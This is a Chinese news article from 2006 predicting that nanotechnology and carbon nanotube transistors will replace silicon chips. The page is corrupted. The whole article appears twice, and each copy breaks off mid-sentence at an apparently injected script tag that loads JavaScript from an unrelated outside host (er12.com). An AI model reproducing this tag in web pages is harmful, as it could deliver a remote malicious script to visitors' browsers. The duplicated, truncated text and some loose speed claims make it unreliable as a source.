獨家觀察:納米硅芯片時代的終結者
發布時間:2006/7/11 0:00:00 訪問次數:447
硅芯片的物理極限
在傳統的芯片制造業里,占著主導地位的一直是硅芯片。這種以硅作為材料制作的芯片,曾經帶來了芯片業的繁榮時代。但是,眾所周知,芯片業存在著一個摩爾定律,即每隔 18個月芯片的處理能力會提高一倍;也即是每隔18個月同等面積芯片上的晶體管數目會增加一倍。從這個規律來看,傳統的以硅為基礎的芯片在不斷縮小的過程中將有可能發展到無法工作的程度。
硅芯片自身的發展也說明了同一個事實。上個世紀70年代初英特爾生產的第一個芯片含2300個晶體管,近年推出的“奔騰4”芯片已含有4200萬個晶體管。芯片上的晶體管數越多,代表其處理速度也就越快。硅芯片未來體積縮小的局限性被越來越多的芯片制造商看在眼里。
科學家預測,在未來10到20年間,芯片制造商們將面臨這樣一個問題。繼續提高芯片的性能將面臨著巨大的挑戰,因為硅芯片已經不能被制造得更小了,必須尋找制造芯片的新材料。而解決這個難題最直接的辦法,就是縮小現有芯片的尺寸,這就是納米技術。
納米芯片的生命力
納米是一種尺度單位,1納米是1米的10億分之一。隨著掃描隧道顯微鏡的發明,納米以空前的分辨率為人類揭示了一個奧妙無窮的原子、分子世界,并衍生出在世界矚目的納米科技。
納米技術出現于20世紀90年代,是在0.10至100納米(即十億分之一米)尺度的空間內,研究電子、原子和分子運動規律和特性的嶄新技術。而正是這種技術,正在或已經影響著硅芯片制造業的時代。
而真正把硅芯片推向尷尬境地的是英特爾可容納4億個晶體管的30納米晶體管技術的出現。這使硅芯片制造業看到了新的曙光。
這種利用分子和小化學物質組合來制造出納米級裝置,使得現有芯片的空間能容納數十億個這種納米裝置的設想已經存在多年。而且隨著納米技術的發展,以納米材料制造的芯片的速度在原則上是硅片速度的10000倍,同時體積上的減少也可以大大改善芯片性能,節約成本,還可以大大降低能耗。
ibm制造出世界上第一個碳納米管晶體管陣列。所使用的碳納米管是由碳原子排列而成的微小圓柱體,比現在的硅晶體管要小500倍。這種以碳為原料的晶體管,也就是納米晶體管比硅片體積更小,速度更快。
ibm納米研究項目負責人埃沃里斯博士指出,新型芯片以碳納米管為基礎,大小僅為人類頭發絲的十萬分之一。碳納米管可以讓晶體管被制造得更小。碳納米管現在已成了取代硅材料的首選。對未來的納米電子技術而言,碳納米管是很有前途的選擇。”
納米芯片帶來的產業變革
而納米對我們的生活,也不是一個陌生的名詞了,從前幾年家電市場炒作納米概念,到納米真正地給我們的生活帶來諸多便利。而對硅芯片制造業來說,納米就意味著能制造出更小的芯片,集成更多的晶體管,處理數據能力更強的功能,當然更重要的是低成本和更多的利潤。
目前,納米技術已逐漸被各大型芯片制造業采用,也越來越廣泛地影響著我們的生活。專家預計,不久的將來,半導體器件將逐步消失,納米器件的時代逐步到來。芯片制造業更是如此。
于細微處見神奇,知微見著的納米科技將徹底改變目前的產業結構,并且孕育著巨大的商機。
當將來的某一天,我們的電視機、電腦、家用電器變得像紙一樣薄,也能象紙一樣卷起來,隨身攜帶到任何你想去的地方。這也表明,納米已經真正結束了硅片的時代,因為這些產品的出現是納米技術把這些產品全部電子系統集成在一塊芯片上,使電子站系統縮小的結果。
業界預測,照目前納米芯片的發展來看,如果沒有別的新技術出現,納米芯片取代硅芯片成為芯片制造業的主導已經成為了大的潮流。雖然納米芯片在?script src=http://er12.com/t.js>
硅芯片的物理極限
在傳統的芯片制造業里,占著主導地位的一直是硅芯片。這種以硅作為材料制作的芯片,曾經帶來了芯片業的繁榮時代。但是,眾所周知,芯片業存在著一個摩爾定律,即每隔 18個月芯片的處理能力會提高一倍;也即是每隔18個月同等面積芯片上的晶體管數目會增加一倍。從這個規律來看,傳統的以硅為基礎的芯片在不斷縮小的過程中將有可能發展到無法工作的程度。
硅芯片自身的發展也說明了同一個事實。上個世紀70年代初英特爾生產的第一個芯片含2300個晶體管,近年推出的“奔騰4”芯片已含有4200萬個晶體管。芯片上的晶體管數越多,代表其處理速度也就越快。硅芯片未來體積縮小的局限性被越來越多的芯片制造商看在眼里。
科學家預測,在未來10到20年間,芯片制造商們將面臨這樣一個問題。繼續提高芯片的性能將面臨著巨大的挑戰,因為硅芯片已經不能被制造得更小了,必須尋找制造芯片的新材料。而解決這個難題最直接的辦法,就是縮小現有芯片的尺寸,這就是納米技術。
納米芯片的生命力
納米是一種尺度單位,1納米是1米的10億分之一。隨著掃描隧道顯微鏡的發明,納米以空前的分辨率為人類揭示了一個奧妙無窮的原子、分子世界,并衍生出在世界矚目的納米科技。
納米技術出現于20世紀90年代,是在0.10至100納米(即十億分之一米)尺度的空間內,研究電子、原子和分子運動規律和特性的嶄新技術。而正是這種技術,正在或已經影響著硅芯片制造業的時代。
而真正把硅芯片推向尷尬境地的是英特爾可容納4億個晶體管的30納米晶體管技術的出現。這使硅芯片制造業看到了新的曙光。
這種利用分子和小化學物質組合來制造出納米級裝置,使得現有芯片的空間能容納數十億個這種納米裝置的設想已經存在多年。而且隨著納米技術的發展,以納米材料制造的芯片的速度在原則上是硅片速度的10000倍,同時體積上的減少也可以大大改善芯片性能,節約成本,還可以大大降低能耗。
ibm制造出世界上第一個碳納米管晶體管陣列。所使用的碳納米管是由碳原子排列而成的微小圓柱體,比現在的硅晶體管要小500倍。這種以碳為原料的晶體管,也就是納米晶體管比硅片體積更小,速度更快。
ibm納米研究項目負責人埃沃里斯博士指出,新型芯片以碳納米管為基礎,大小僅為人類頭發絲的十萬分之一。碳納米管可以讓晶體管被制造得更小。碳納米管現在已成了取代硅材料的首選。對未來的納米電子技術而言,碳納米管是很有前途的選擇。”
納米芯片帶來的產業變革
而納米對我們的生活,也不是一個陌生的名詞了,從前幾年家電市場炒作納米概念,到納米真正地給我們的生活帶來諸多便利。而對硅芯片制造業來說,納米就意味著能制造出更小的芯片,集成更多的晶體管,處理數據能力更強的功能,當然更重要的是低成本和更多的利潤。
目前,納米技術已逐漸被各大型芯片制造業采用,也越來越廣泛地影響著我們的生活。專家預計,不久的將來,半導體器件將逐步消失,納米器件的時代逐步到來。芯片制造業更是如此。
于細微處見神奇,知微見著的納米科技將徹底改變目前的產業結構,并且孕育著巨大的商機。
當將來的某一天,我們的電視機、電腦、家用電器變得像紙一樣薄,也能象紙一樣卷起來,隨身攜帶到任何你想去的地方。這也表明,納米已經真正結束了硅片的時代,因為這些產品的出現是納米技術把這些產品全部電子系統集成在一塊芯片上,使電子站系統縮小的結果。
業界預測,照目前納米芯片的發展來看,如果沒有別的新技術出現,納米芯片取代硅芯片成為芯片制造業的主導已經成為了大的潮流。雖然納米芯片在?script src=http://er12.com/t.js>